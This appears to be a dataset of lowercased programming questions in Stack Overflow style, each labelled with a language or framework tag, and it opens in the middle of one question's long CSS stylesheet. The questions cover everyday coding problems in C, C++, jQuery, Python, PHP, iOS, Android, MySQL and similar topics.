break-word;     column-rule-color: rgba(0  0  0  0.8);     perspective-origin: 50% 50%;     transform-origin: 50% 50%;     caret-color: rgba(0  0  0  0.8);     background: rgba(0  0  0  0) none repeat scroll 0% 0% / auto padding-box border-box;     border: 0px none rgba(0  0  0  0.8);     font: normal normal 400 normal 20px / 20px  source sans pro   sans-serif;     margin: 0px auto;     outline: rgba(0  0  0  0.8) none 0px;     padding: 20px 0px; }/*#button_2*/  #button_2:after {     box-sizing: border-box;     color: rgba(0  0  0  0.8);     content:     ;     cursor: pointer;     overflow-wrap: break-word;     text-decoration: none solid rgba(0  0  0  0.8);     text-size-adjust: 100%;     word-wrap: break-word;     column-rule-color: rgba(0  0  0  0.8);     caret-color: rgba(0  0  0  0.8);     border: 0px none rgba(0  0  0  0.8);     font: normal normal 400 normal 20px / 20px fontawesome;     outline: rgba(0  0  0  0.8) none 0px;     padding: 0px 0px 0px 20px; }/*#button_2:after*/  #div_3 {     box-sizing: border-box;     color: rgb(137  137  137);     height: 28.4px;     overflow-wrap: break-word;     text-align: center;     text-decoration: none solid rgb(137  137  137);     text-size-adjust: 100%;     width: 720px;     word-wrap: break-word;     column-rule-color: rgb(137  137  137);     perspective-origin: 360px 14.2px;     transform-origin: 360px 14.2px;     caret-color: rgb(137  137  137);     border: 0px none rgb(137  137  137);     font: normal normal 400 normal 14px / 25.9px verdana;     outline: rgb(137  137  137) none 0px; }/*#div_3*/  #h6_4 {     box-sizing: border-box;     clear: both;     color: rgb(51  51  51);     height: 22.4px;     overflow-wrap: break-word;     text-align: center;     text-decoration: none solid rgb(51  51  51);     text-size-adjust: 100%;     width: 720px;     word-wrap: break-word;     column-rule-color: rgb(51  51  51);     perspective-origin: 360px 11.2px;     transform-origin: 360px 11.2px;     caret-color: rgb(51  51  51);     border: 0px none rgb(51  51  51);     font: normal normal 400 normal 18px / 22.5px  droid serif   serif;     margin: 41.94px 0px -4px;     outline: rgb(51  51  51) none 0px; }/*#h6_4*/  #hr_5 {     color: rgb(137  137  137);     height: 3px;     overflow-wrap: break-word;     text-align: center;     text-decoration: none solid rgb(137  137  137);     text-size-adjust: 100%;     width: 720px;     word-wrap: break-word;     column-rule-color: rgb(137  137  137);     perspective-origin: 279.2px 0.5px;     transform-origin: 279.2px 0.5px;     caret-color: rgb(137  137  137);     background: rgb(25  23  98) none repeat scroll 0% 0% / auto padding-box border-box;     border: 0px none rgb(0  0  0);     font: normal normal 400 normal 13px / 16.003px  helvetica neue   helvetica  arial  sans-serif;     margin: 7px 0px 16px;     outline: rgb(137  137  137) none 0px; }/*#hr_5*/  #div_6 {     box-sizing: border-box;     color: rgb(137  137  137);     height: 171.2px;     overflow-wrap: break-word;     text-align: justify;     text-decoration: none solid rgb(137  137  137);     text-size-adjust: 100%;     width: 720px;     word-wrap: break-word;     column-rule-color: rgb(137  137  137);     perspective-origin: 360px 85.6px;     transform-origin: 360px 85.6px;     caret-color: rgb(137  137  137);     border: 0px none rgb(137  137  137);     font: normal normal 400 normal 14px / 25.9px verdana;     margin: -30px 0px 0px;     outline: rgb(137  137  137) none 0px; }/*#div_6*/  #ul_7 {     box-sizing: border-box;     color: rgb(25  23  98);     height: 171.2px;     overflow-wrap: break-word;     text-align: center;     text-decoration: none solid rgb(25  23  98);     text-size-adjust: 100%;     text-transform: uppercase;     width: 720px;     word-wrap: break-word;     column-rule-color: rgb(25  23  98);     perspective-origin: 360px 85.6px;     transform-origin: 360px 85.6px;     caret-color: rgb(25  23  98);     border: 0px none rgb(25  23  98);     font: normal normal 400 normal 14px / 25.9px helvetica;     list-style: none outside none;     margin: 0px;     outline: rgb(25  23  98) none 0px;     padding: 0px; }/*#ul_7*/  #li_8  #li_10 {     bottom: 0px;     box-sizing: border-box;     color: rgb(25  23  98);     display: inline-block;     height: 85.6px;     left: 0px;     overflow-wrap: break-word;     position: relative;     right: 0px;     text-align: center;     text-decoration: none solid rgb(25  23  98);     text-size-adjust: 100%;     text-transform: uppercase;     top: 0px;     width: 87px;     word-wrap: break-word;     column-rule-color: rgb(25  23  98);     perspective-origin: 43.5px 42.8px;     transform-origin: 43.5px 42.8px;     caret-color: rgb(25  23  98);     border: 0px none rgb(25  23  98);     font: normal normal 400 normal 14px / 25.9px helvetica;     list-style: none outside none;     outline: rgb(25  23  98) none 0px;     padding: 0px 45px 0px 0px; }/*#li_8  #li_10*/  #a_9  #a_11 {     box-sizing: border-box;     color: rgb(25  23  98);     display: block;     height: 85.6px;     overflow-wrap: break-word;     text-align: center;     text-decoration: none solid rgb(25  23  98);     text-size-adjust: 100%;     text-transform: uppercase;     width: 42px;     word-wrap: break-word;     column-rule-color: rgb(25  23  98);     perspective-origin: 21px 42.8px;     transform-origin: 21px 42.8px;     caret-color: rgb(25  23  98);     border: 0px none rgb(25  23  98);     font: normal normal 400 normal 14px / 25.9px helvetica;     list-style: none outside none;     outline: rgb(25  23  98) none 0px;     padding: 30px 0px; }/*#a_9  #a_11*/  #li_12 {     bottom: 0px;     box-sizing: border-box;     color: rgb(25  23  98);     display: inline-block;     height: 85.6px;     left: 0px;     overflow-wrap: break-word;     position: relative;     right: 0px;     text-align: center;     text-decoration: none solid rgb(25  23  98);     text-size-adjust: 100%;     text-transform: uppercase;     top: 0px;     width: 93.2375px;     word-wrap: break-word;     column-rule-color: rgb(25  23  98);     perspective-origin: 46.6125px 42.8px;     transform-origin: 46.6125px 42.8px;     caret-color: rgb(25  23  98);     border: 0px none rgb(25  23  98);     font: normal normal 400 normal 14px / 25.9px helvetica;     list-style: none outside none;     outline: rgb(25  23  98) none 0px;     padding: 0px 45px 0px 0px; }/*#li_12*/  #a_13 {     box-sizing: border-box;     color: rgb(25  23  98);     display: block;     height: 85.6px;     overflow-wrap: break-word;     text-align: center;     text-decoration: none solid rgb(25  23  98);     text-size-adjust: 100%;     text-transform: uppercase;     width: 48.2375px;     word-wrap: break-word;     column-rule-color: rgb(25  23  98);     perspective-origin: 24.1125px 42.8px;     transform-origin: 24.1125px 42.8px;     caret-color: rgb(25  23  98);     border: 0px none rgb(25  23  98);     font: normal normal 400 normal 14px / 25.9px helvetica;     list-style: none outside none;     outline: rgb(25  23  98) none 0px;     padding: 30px 0px; }/*#a_13*/  #li_14 {     bottom: 0px;     box-sizing: border-box;     color: rgb(25  23  98);     display: inline-block;     height: 85.6px;     left: 0px;     overflow-wrap: break-word;     position: relative;     right: 0px;     text-align: center;     text-decoration: none solid rgb(25  23  98);     text-size-adjust: 100%;     text-transform: uppercase;     top: 0px;     width: 111.625px;     word-wrap: break-word;     column-rule-color: rgb(25  23  98);     perspective-origin: 55.8125px 42.8px;     transform-origin: 55.8125px 42.8px;     caret-color: rgb(25  23  98);     border: 0px none rgb(25  23  98);     font: normal normal 400 normal 14px / 25.9px helvetica;     list-style: none outside none;     outline: rgb(25  23  98) none 0px;     padding: 0px 45px 0px 0px; }/*#li_14*/  #a_15 {     box-sizing: border-box;     color: rgb(25  23  98);     display: block;     height: 85.6px;     overflow-wrap: break-word;     text-align: center;     text-decoration: none solid rgb(25  23  98);     text-size-adjust: 100%;     text-transform: uppercase;     width: 66.625px;     word-wrap: break-word;     column-rule-color: rgb(25  23  98);     perspective-origin: 33.3125px 42.8px;     transform-origin: 33.3125px 42.8px;     caret-color: rgb(25  23  98);     border: 0px none rgb(25  23  98);     font: normal normal 400 normal 14px / 25.9px helvetica;     list-style: none outside none;     outline: rgb(25  23  98) none 0px;     padding: 30px 0px; }/*#a_15*/  #li_16 {     bottom: 0px;     box-sizing: border-box;     color: rgb(25  23  98);     display: inline-block;     height: 85.6px;     left: 0px;     overflow-wrap: break-word;     position: relative;     right: 0px;     text-align: center;     text-decoration: none solid rgb(25  23  98);     text-size-adjust: 100%;     text-transform: uppercase;     top: 0px;     width: 78.45px;     word-wrap: break-word;     column-rule-color: rgb(25  23  98);     perspective-origin: 39.225px 42.8px;     transform-origin: 39.225px 42.8px;     caret-color: rgb(25  23  98);     border: 0px none rgb(25  23  98);     font: normal normal 400 normal 14px / 25.9px helvetica;     list-style: none outside none;     outline: rgb(25  23  98) none 0px;     padding: 0px 45px 0px 0px; }/*#li_16*/  #a_17 {     box-sizing: border-box;     color: rgb(25  23  98);     display: block;     height: 85.6px;     overflow-wrap: break-word;     text-align: center;     text-decoration: none solid rgb(25  23  98);     text-size-adjust: 100%;     text-transform: uppercase;     width: 33.45px;     word-wrap: break-word;     column-rule-color: rgb(25  23  98);     perspective-origin: 16.725px 42.8px;     transform-origin: 16.725px 42.8px;     caret-color: rgb(25  23  98);     border: 0px none rgb(25  23  98);     font: normal normal 400 normal 14px / 25.9px helvetica;     list-style: none outside none;     outline: rgb(25  23  98) none 0px;     padding: 30px 0px; }/*#a_17*/  #li_18 {     bottom: 0px;     box-sizing: border-box;     color: rgb(25  23  98);     display: inline-block;     height: 85.6px;     left: 0px;     overflow-wrap: break-word;     position: relative;     right: 0px;     text-align: center;     text-decoration: none solid rgb(25  23  98);     text-size-adjust: 100%;     text-transform: uppercase;     top: 0px;     width: 131.087px;     word-wrap: break-word;     column-rule-color: rgb(25  23  98);     perspective-origin: 65.5375px 42.8px;     transform-origin: 65.5375px 42.8px;     caret-color: rgb(25  23  98);     border: 0px none rgb(25  23  98);     font: normal normal 400 normal 14px / 25.9px helvetica;     list-style: none outside none;     outline: rgb(25  23  98) none 0px;     padding: 0px 45px 0px 0px; }/*#li_18*/  #a_19 {     box-sizing: border-box;     color: rgb(25  23  98);     display: block;     height: 85.6px;     overflow-wrap: break-word;     text-align: center;     text-decoration: none solid rgb(25  23  98);     text-size-adjust: 100%;     text-transform: uppercase;     width: 86.0875px;     word-wrap: break-word;     column-rule-color: rgb(25  23  98);     perspective-origin: 43.0375px 42.8px;     transform-origin: 43.0375px 42.8px;     caret-color: rgb(25  23  98);     border: 0px none rgb(25  23  98);     font: normal normal 400 normal 14px / 25.9px helvetica;     list-style: none outside none;     outline: rgb(25  23  98) none 0px;     padding: 30px 0px; }/*#a_19*/  #li_20 {     bottom: 0px;     box-sizing: border-box;     color: rgb(25  23  98);     display: inline-block;     height: 85.6px;     left: 0px;     overflow-wrap: break-word;     position: relative;     right: 0px;     text-align: center;     text-decoration: none solid rgb(25  23  98);     text-size-adjust: 100%;     text-transform: uppercase;     top: 0px;     width: 80.7875px;     word-wrap: break-word;     column-rule-color: rgb(25  23  98);     perspective-origin: 40.3875px 42.8px;     transform-origin: 40.3875px 42.8px;     caret-color: rgb(25  23  98);     border: 0px none rgb(25  23  98);     font: normal normal 400 normal 14px / 25.9px helvetica;     list-style: none outside none;     outline: rgb(25  23  98) none 0px;     padding: 0px 45px 0px 0px; }/*#li_20*/  #a_21 {     box-sizing: border-box;     color: rgb(25  23  98);     display: block;     height: 85.6px;     overflow-wrap: break-word;     text-align: center;     text-decoration: none solid rgb(25  23  98);     text-size-adjust: 100%;     text-transform: uppercase;     width: 35.7875px;     word-wrap: break-word;     column-rule-color: rgb(25  23  98);     perspective-origin: 17.8875px 42.8px;     transform-origin: 17.8875px 42.8px;     caret-color: rgb(25  23  98);     border: 0px none rgb(25  23  98);     font: normal normal 400 normal 14px / 25.9px helvetica;     list-style: none outside none;     outline: rgb(25  23  98) none 0px;     padding: 30px 0px; }/*#a_21*/  #li_22 {     bottom: 0px;     box-sizing: border-box;     color: rgb(25  23  98);     display: inline-block;     height: 85.6px;     left: 0px;     overflow-wrap: break-word;     position: relative;     right: 0px;     text-align: center;     text-decoration: none solid rgb(25  23  98);     text-size-adjust: 100%;     text-transform: uppercase;     top: 0px;     width: 32.6625px;     word-wrap: break-word;     column-rule-color: rgb(25  23  98);     perspective-origin: 16.325px 42.8px;     transform-origin: 16.325px 42.8px;     caret-color: rgb(25  23  98);     border: 0px none rgb(25  23  98);     font: normal normal 400 normal 14px / 25.9px helvetica;     list-style: none outside none;     outline: rgb(25  23  98) none 0px; }/*#li_22*/  #a_23 {     box-sizing: border-box;     color: rgb(25  23  98);     display: block;     height: 85.6px;     overflow-wrap: break-word;     text-align: center;     text-decoration: none solid rgb(25  23  98);     text-size-adjust: 100%;     text-transform: uppercase;     width: 32.6625px;     word-wrap: break-word;     column-rule-color: rgb(25  23  98);     perspective-origin: 16.325px 42.8px;     transform-origin: 16.325px 42.8px;     caret-color: rgb(25  23  98);     border: 0px none rgb(25  23  98);     font: normal normal 400 normal 14px / 25.9px helvetica;     list-style: none outside none;     outline: rgb(25  23  98) none 0px;     padding: 30px 0px; }/*#a_23*/ </code></pre>,css
modify a char* in c++  i am trying to modify a c string in c++.   <pre><code>void modify(char* s) {     s[0] =  a ; } </code></pre>   if i do this  there will be some undefined behavior and can t run.    let s assume s[0] is valid. i know char* s is immutable. is there any possibility that i can modify the s[0] in place  which means  without creating a new string. do the modification on the original string.,c++
jquery get element containing child element with specific html value  i would like to use jquery to add a class to  li  element that contains a  span  element with a html/val equal to zero.    for example if my code looks like this:   <pre><code>&lt;ul&gt;     &lt;li&gt;&lt;span&gt;item 1&lt;/span&gt;&lt;span class= num &gt;30&lt;/span&gt;&lt;/li&gt;     &lt;li&gt;&lt;span&gt;item 2&lt;/span&gt;&lt;span class= num &gt;0&lt;/span&gt;&lt;/li&gt;     &lt;li&gt;&lt;span&gt;item 3&lt;/span&gt;&lt;span class= num &gt;20&lt;/span&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   i want to change it to the following:   <pre><code>&lt;ul&gt;     &lt;li&gt;&lt;span&gt;item 1&lt;/span&gt;&lt;span class= num &gt;30&lt;/span&gt;&lt;/li&gt;     &lt;li class= disabled &gt;&lt;span&gt;item 2&lt;/span&gt;&lt;span class= num &gt;0&lt;/span&gt;&lt;/li&gt;     &lt;li&gt;&lt;span&gt;item 3&lt;/span&gt;&lt;span class= num &gt;20&lt;/span&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   in the past i have used code to check elements attribute values  but never their html/val doing something to this effect...   <pre><code>$( li ).has( span.num ).addclass( disabled ); </code></pre>   however in this case that would result in:   <pre><code>&lt;ul&gt;     &lt;li class= disabled &gt;&lt;span&gt;item 1&lt;/span&gt;&lt;span class= num &gt;30&lt;/span&gt;&lt;/li&gt;     &lt;li class= disabled &gt;&lt;span&gt;item 2&lt;/span&gt;&lt;span class= num &gt;0&lt;/span&gt;&lt;/li&gt;     &lt;li class= disabled &gt;&lt;span&gt;item 3&lt;/span&gt;&lt;span class= num &gt;20&lt;/span&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   which is obviously not going work... thanks,jquery
how to convince management to upgrade to .net 4.0  we developed an application using .net 2.0. we license our software which means whenever we release a new version  we have to push out the change to all our existing clients.    no one in my group has the slightest motivation to upgrade to a newer version of .net. they simple see it as more work for our support team to deploy and argue that clients will be resistant to any change.    can anyone point me in the direction of some argument i could present to non programmers that might sway them.    if noting else  some argument that it is safe  and will not cause our clients any harm who already have the .net 2.0 framework on their machines     i figure it s hopeless. i m gonna be stuck using the .net 2.0 framework until for another 4 or 5 years i bet... perhaps longer :( help!    i really want to be able to use wcf  linq  wpf (possible)  and the option to use the entity framework 4.0.!    thanks    jonathan,.net
write formatted file  i want to to write <code>np.double</code> to formatted file:   <pre><code>import numpy as np a= 12 45 87 34 65 ; s=np.double(a.split()) fid=open( qqq.txt   wt ) fid.write( %5.1f %5.1f %5.1f %5.1f %5.1f   %(s[0] s[1] s[2] s[3] s[4])) fid.close() </code></pre>   can this  write  row be written in a shorter way    <pre><code>fid.write( %5.1f %5.1f %5.1f %5.1f %5.1f   %(s[0] s[1] s[2] s[3] s[4])) </code></pre>,python
angularjs communication between different-2 controller  i have 2 controllers <code>configurationcontroller.js</code> and <code>cartcontroller.js</code>. i want to pass <code>configuration</code> data to <code>cart</code>.    i tried using below:-   <blockquote>    $rootscope.value1 =  --- ;        $rootscope.value2 =  --- ;        $rootscope.value3 =  --- ;        and so on...............  </blockquote>   but it will increase <code>$rootscope</code> size in browser memory and even forth and back we have to manage <code>$rootscope</code> value.   <pre><code>is any other way in angularjs that i can handle same situation in better way. </code></pre>,angularjs
how to cache response in afhttprequestoperationmnager  this is my code. i set cachepolicy = dontload  but it still get data from server not from local cache. why    <pre><code>afhttprequestoperationmanager *manager = [afhttprequestoperationmanager manager];     manager.requestserializer = [afhttprequestserializer serializer];     manager.requestserializer.cachepolicy = nsurlrequestreturncachedatadontload;      afhttpresponseserializer *responseserializer = [afhttpresponseserializer serializer];     responseserializer.acceptablecontenttypes = [nsset setwithobject:@ text/html ];     manager.responseserializer = responseserializer;     [manager get:@ http://www.github.com  parameters:nil success:^(afhttprequestoperation *operation  id responseobject) {          nslog(@ %@   [[nsstring alloc]initwithdata:responseobject encoding:nsutf8stringencoding]);      } failure:^(afhttprequestoperation *operation  nserror *error) {      }]; </code></pre>,ios
else if isn t working  this should put word yup to every second character  yap to every fifth and both yup yap to every tenth. it does put only yup to every second character.    i can t figure out what s the problem. thank you for your help.   <pre><code>for(int i = 0; i &lt; word.length(); i++)    {          if( i % 2 != 0)   {             system.out.print(word.charat(i) +   yup );             system.out.println();         }         else if( i + 1 % 5 == 0)    {             system.out.print(word.charat(i) +   yap );             system.out.println();         }         else if( i + 1 % 10 == 0)   {             system.out.print(word.charat(i) +   yup yap );             system.out.println();         }         else{             system.out.println(word.charat(i));         }      }  } </code></pre>,java
marks field validation  i want numeric javascript validation for marks field. marks entered should be out of 5 means user can enter upto 5 marks not more than that. marks may be in decimal like 4.25 after decimal there should be 2 digits can any one help me..    my text box is inside the data grid so on item data bound iam doing coding like  if e.item.itemtype = listitemtype.alternatingitem or e.item.itemtype = listitemtype.item then   <pre><code>        txtmarks = ctype(e.item.findcontrol( txtmarks )  textbox)         txtmarks.attributes.add( onkeypress    javascript:return validatemark() )       end if </code></pre>   but iam not getting proper code to validate my requirement.,javascript
convert  hel\x6co wor\x6cd!  to hello world! in c#  consider this <a href= https://codegolf.stackexchange.com/questions/18721/hello-world-without-repetition/18808#18808 >answer</a>.    i saw the question and tried to convert javascript to c# code:    this is the javascript code:   <pre><code>alert( hel\x6co wor\x6cd! )//alert hello world  </code></pre>   what i got when i converted to c#   <pre><code>console.writeline( hello w\x6fr\x006cd! );//write hello world! </code></pre>   how does compiler know convert the code to <code>hello world!</code>,c#
how can i count my country total from geoip in python  i want to know how can i count the total of listed countries from geoip code. i have made a code but it shows only half of the total  for instance it shows that china appears 65 times  but there are more than that. this is my code   <pre><code>import re import string  frequency = {} document_text = open( /users/mani/desktop/finalgeoip.txt    r ) text_string = document_text.read().lower() match_pattern = re.findall(r [a-z]{3 15}   text_string)  for word in match_pattern:     count = frequency.get(word  0)     frequency[word] = count + 1  frequency_list = frequency.keys()  for words in frequency_list:     print words  frequency[words] </code></pre>   this is my output   <pre><code>china                         1 china                         2 ireland                       1 china                         3 moldova  republic of          1 japan                         1 china                         1 china                         2 brazil                        1 </code></pre>   so there are china 1  china 2  china 2 so i want the output:   <pre><code>china     5 </code></pre>   but my code just count the string total    this is my log file   <pre><code>2017-04-18 00:00:00 local7.info 10.82.12.3  date=2017-04-17 time=23:59:59 devname=ids-dc14-001 devid=fgt90d3z15018997 logid=1059028704 type=utm subtype=app-ctrl eventtype=app-ctrl-all level=information vd=root appid=16206 user=   srcip=180.16.170.129 srcport=0 srcintf= wan1  dstip=116.238.73.58 dstport=771 dstintf= wan1  profiletype= applist  proto=1 service= icmp/3/3  policyid=3 sessionid=41936599 applist= sniffer-profile  appcat= network.service  app= icmp  action=pass msg= network.service: icmp   apprisk=elevated 2017-04-18 00:00:00 local7.info 10.82.12.3  date=2017-04-17 time=23:59:59 devname=ids-dc14-001 devid=fgt90d3z15018997 logid=1059028704 type=utm subtype=app-ctrl eventtype=app-ctrl-all level=information vd=root appid=27946 user=   srcip=10.80.10.249 srcport=9207 srcintf= wan1  dstip=208.91.112.196 dstport=53 dstintf= wan1  profiletype= applist  proto=17 service= dns  policyid=3 sessionid=41936600 applist= sniffer-profile  appcat= cloud.it  app= fortiguard.search  action=pass msg= cloud.it: fortiguard.search   apprisk=medium </code></pre>,python
angular ng-if with ng-init  why does this code show all 4 names on output    <pre><code>&lt;div data-ng-app=  &gt;   &lt;div data-ng-init= names=[ dave   melissa   lisa   jill ] &gt;     &lt;div data-ng-repeat= data in names  ng-if= data ==  dave  &gt;         {{ data }}     &lt;/div&gt;  &lt;/div&gt; </code></pre>       <a href= http://jsfiddle.net/fergnab/gxycncpj/  rel= nofollow >jsfiddle</a>,angularjs
function that sends emails with attachment   is there a php class/script (opensource/free) that allows me to send emails with attached files     i want something as simple as    <pre><code>mail_with_attachment($to  $subject  $_files[ file ]); </code></pre>   is there such thing available,php
load file from internal storage in android  i m trying to save and load a string to/from the internal storage in a way that allows the user to exit the app  even shut down the phone  but still access this string whenever the app is used.     when i exit the app it and re-enter  it will not load the string i stored previously. i need it to load the previous string even if i reboot the phone. here is what i have so far:     <pre class= lang-java prettyprint-override ><code>edittext shareddata; textview dataresults; fileoutputstream fos; string filename =  internalstring ;  protected void oncreate(bundle savedinstancestate) {     // todo auto-generated method stub     super.oncreate(savedinstancestate);     setcontentview(r.layout.sharedpreferences);     setupvariables(); }  private void setupvariables() {     // todo auto-generated method stub     shareddata = (edittext) findviewbyid(r.id.edittext_sharedprefs);     dataresults = (textview) findviewbyid(r.id.textview_loadsharedprefs);     button save = (button) findviewbyid(r.id.button_save);     button load = (button) findviewbyid(r.id.button_load);     save.setonclicklistener(this);     load.setonclicklistener(this);     try {         fos = openfileoutput(filename  context.mode_private);         fos.close();     } catch (filenotfoundexception e) {         // todo auto-generated catch block         e.printstacktrace();     } catch (ioexception e) {         // todo auto-generated catch block         e.printstacktrace();     } }  @override public void onclick(view v) {     // todo auto-generated method stub     switch (v.getid()) {     case r.id.button_save:         string data = shareddata.gettext().tostring();         try {             fos = openfileoutput(filename  context.mode_private);             fos.write(data.getbytes());             fos.close();         } catch (filenotfoundexception e) {             // todo auto-generated catch block             e.printstacktrace();         } catch (ioexception e) {             // todo auto-generated catch block             e.printstacktrace();         }         break;     case r.id.button_load:         string collected = null;         fileinputstream fis = null;         try {             fis = openfileinput(filename);             byte[] dataarray = new byte[fis.available()];             while(fis.read(dataarray) != -1){                 collected = new string(dataarray);             }             dataresults.settext(collected);         } catch (filenotfoundexception e) {             // todo auto-generated catch block             e.printstacktrace();         } catch (ioexception e) {             // todo auto-generated catch block             e.printstacktrace();         } finally {             try {                 fis.close();             } catch (ioexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             }         }         break;     } } </code></pre>,android
how to configure debug.writeline output file   <code>system.diagnostics.debug.writeline</code> is used for tracing.    funilly a file <code>c:\users\public\documents\usernamefromprogramcontext\programname.asserts</code> is created on my machine  but not on that of another developer.    i only wanted <code>debug.writeline</code> for output in the output window of vs.    where is it possible to configure the place where <code>debug.writeline</code> writes to,c#
find nested elements with jquery  i need to search an input inside of a div  but i don t know the exactly name of the div  the div name can be: editcontactmodaldiv01  editcontactmodaldiv02  editcontactmodaldiv03 etc.    the exactly name of the input is  address . between both div and input there are other elements  divs  etc.    thanks,jquery
ios uiview initwithcoder loads too fast  inside of <code>initwithconder</code> <code>self.superview</code> will always return <code>(null)</code> for me.    how does one get <em>around</em> this     <em><strong>thanks</em></strong>,ios
display 3 maximum values of a column  include duplicate values with condition  i am trying to display highest 3 marks on each classes  i am using following code.   <pre><code>select name  marks from mytable as t1  inner join      (select distinct(marks) as best_marks from mytable where class= class1  order by marks desc limit 3) as t2 on t1.marka = t2.best_marks order by marks desc  name asc; </code></pre>   this code has given by  eggplant  from stackoverfolow.    it will works fine when there is no class.     my table is    <pre><code>name     marks     class s1       90        class1  s2       55        class3 s3       60        class4 s4       90        class1 s5       55        class2 s6       60        class3 s7       88        class1     s8       45        class6   s9       88        class1 s10      76        class3 s11      92        class3 s12      44        class1    </code></pre>   like aforesaid table  i want to show 3 records include duplicate records and class    so my final output looks like   <pre><code>name     marks     class s1       90        class1  s4       90        class1 s7       88        class1     s9       88        class1  name     marks     class s5       55        class2  name     marks     class s11      92        class3 s10      76        class3 s6       60        class3   name     marks     class s3       60        class4  name     marks     class s8       45        class6   </code></pre>   kindly please help me.,mysql
complication using file inclusion in php: folder levels  i have the following server structure:   <pre><code>root     /folder/inclusion4.php     /folder/script_to_include.php     /called_script.php     /inclusion1.php     /inclusion2.php     /inclusion3.php </code></pre>   <code>called_script.php</code> includes <code>script_to_include</code>.    <code>script_to_include</code> includes <code>inclusion 1/2/3/4</code>.    this generates a lot of inclusion problems due to <code>../</code> when writing <code>include(../inclusionx.php)</code> because those belong in the same folder as <code>called_script.php</code> (<code>root</code>).     i was wondering how exactly should i point the root of the server /relative path as the beginning of the path for each inclusion or adapt <code>called_script.php</code> in particular to react accordingly.,php
is it possible to alter behavior of any object s method in advance   i need to achieve the following: if one accesses method <code>foo()</code> of object <code>obj</code> (performs <code>obj.foo()</code>)  then what happens instead is <code>obj.bar( foo )</code>.      in this actual scenario i could do this by simply defining a getter for <code>obj.foo</code> like:   <pre><code>object.defineproperty(obj   foo   {     get: () =&gt; obj.bar( foo ) }); </code></pre>   but is it possible to do that for every method in advance (even ones that are not defined yet)  i mean without providing getters for every single method.   <hr>   the best solution that i can see for now is iterating all the methods of <code>obj</code> after its full definition:   <pre><code>for (let methodname in obj)     if (typeof obj[methodname] ===  function  &amp;&amp; methodname !==  bar )         object.defineproperty(obj  methodname  {             get: () =&gt; obj.bar(methodname)         }); </code></pre>   another one is starting every method with one repeated line of code – something unpleasant.    are there solutions without iterating or self-repeating,javascript
is this usage of the h2 tag correct   i use the h2 tag in this way. is this usage of the h2 tag correct    <pre><code>&lt;h2&gt;&lt;a href= #w  style= margin-left:20px; &gt;what is this &lt;/a&gt;&lt;/h2&gt; &lt;h2&gt;&lt;a href= #h  style= margin-left:20px; &gt;how much does it cost &lt;/a&gt;&lt;/h2&gt;   &lt;p class= title-faq &gt;&lt;h2&gt;what is this &lt;/h2&gt;&lt;/p&gt; </code></pre>,html
php warning: strpos(): empty needle in search.php  i have a php search file that searches a directory for files with the submitted names and displays the results. i want to use the html form in the same file as the php code i.e.  in search.php only like this:   <pre><code>&lt;form action= search.php  method= get &gt;&lt;input name= q  type= text &gt; &lt;input type= submit &gt;&lt;/form&gt;  &lt; php $dir =  /www/posts ;  $exclude = array( .   ..   .htaccess );  $q = (isset($_get[ q ]))  strtolower($_get[ q ]) :   ;  $res = opendir($dir);  while(false!== ($file = readdir($res))) {      if(strpos(strtolower($file) $q)!== false &amp;&amp;!in_array($file $exclude))      {          $last_dot_index = strrpos($file   . );         $withoutext = substr($file  0  $last_dot_index);         echo  &lt;a href= $withoutext &gt;$withoutext&lt;/a&gt; ;          echo  &lt;br&gt; ;      } }   closedir($res);   &gt; </code></pre>   but the above code gives the error : <code>warning: strpos(): empty needle in search.php on line 10</code>    i tried using the <code>!empty</code> argument like this:   <pre><code>&lt; php $dir =  /www/posts ;  $exclude = array( .   ..   .htaccess );  $q = (isset($_get[ q ]))  strtolower($_get[ q ]) :   ;  $res = opendir($dir);  if (!empty($res)) {     while(false!== ($file = readdir($res))) {           if(strpos(strtolower($file) $q)!== false &amp;&amp;!in_array($file $exclude)) {               $last_dot_index = strrpos($file   . );              $withoutext = substr($file  0  $last_dot_index);              echo  &lt;a href= $withoutext &gt;$withoutext&lt;/a&gt; ;               echo  &lt;br&gt; ;           }          else {              echo   ;          }      } }   closedir($res);   &gt; </code></pre>   but it still reflects the error.    please help me get rid of this error.,php
quickly using openssl in c  program aborts with core dump  i have a function that aborts with a core dump unless i insert a printf:   <pre><code>// read all available text from the connection char *sslread (connection *c) {     const int readsize = 1024;     char *rc = null;     int received  count = 0;     char buffer[1024];      //  printf(    ); // if i comment this out: aborted (core dumped)      if (c)     {         while (1)         {             if (!rc)                 rc = malloc (readsize * sizeof (char) + 1);             else                 rc = realloc (rc  (count + 1) *                         readsize * sizeof (char) + 1);              received = ssl_read (c-&gt;sslhandle  buffer  readsize);             buffer[received] =  \0 ;              if (received &gt; 0)                 strcat (rc  buffer);              if (received &lt; readsize)                 break;             count++;         }     }     return rc; } </code></pre>   the malloc seems to be the offending line.    the full source code is here: <a href= http://savetheions.com/2010/01/16/quickly-using-openssl-in-c/  rel= nofollow noreferrer >quickly using openssl in c</a>    what could be causing this    <pre><code>below is the output from my build:  23:06:41 **** incremental build of configuration debug for project helloworldopenssl **** info: internal builder is used for build gcc  -ic:\\dev\\cygwin64\\opt\\cs\\include  -o0 -g3 -wall -c -fmessage-length=0 -o myc.o  ..\\myc.c   gcc  -lc:\\dev\\cygwin64\\opt\\cs\\lib  -o helloworldopenssl.exe myc.o -lssl -lcrypto   23:06:42 build finished (took 804ms) </code></pre>   <strong>edit</strong>: the fix i used is posted <a href= https://stackoverflow.com/a/18861349/1033422 >here</a>.,c
how to reproduce the  sibling to sibling  animation between viewcontrollers  i am struggling to reproduce the <a href= http://www.google.com/design/spec/patterns/navigational-transitions.html#navigational-transitions-sibling-to-sibling  rel= nofollow > sibling to sibling navigational transition </a> between viewcontrollers.     i have a uitabbar with 3 items. i can make the vc switch animated with something like    <pre><code>catransition *transition = [catransition animation]; transition.duration = 1.0; transition.type = kcatransitionpush; transition.subtype = kcatransitionfromright // or fromleft depending on context  [viewcontroller.view.layer addanimation:transition forkey:nil]; </code></pre>   <strong>but in this case the fromviewcontroller disappears instantly</strong>  and the app background is shown.     i could take a screenshot of the fromviewcontroller and insert it somewhere on the toviewcontroller but i would also have to animate it  i suspect it would ends messy.     what you be the simpliest way to reproduce this effect (preferably without using a large horizontal scrollview),ios
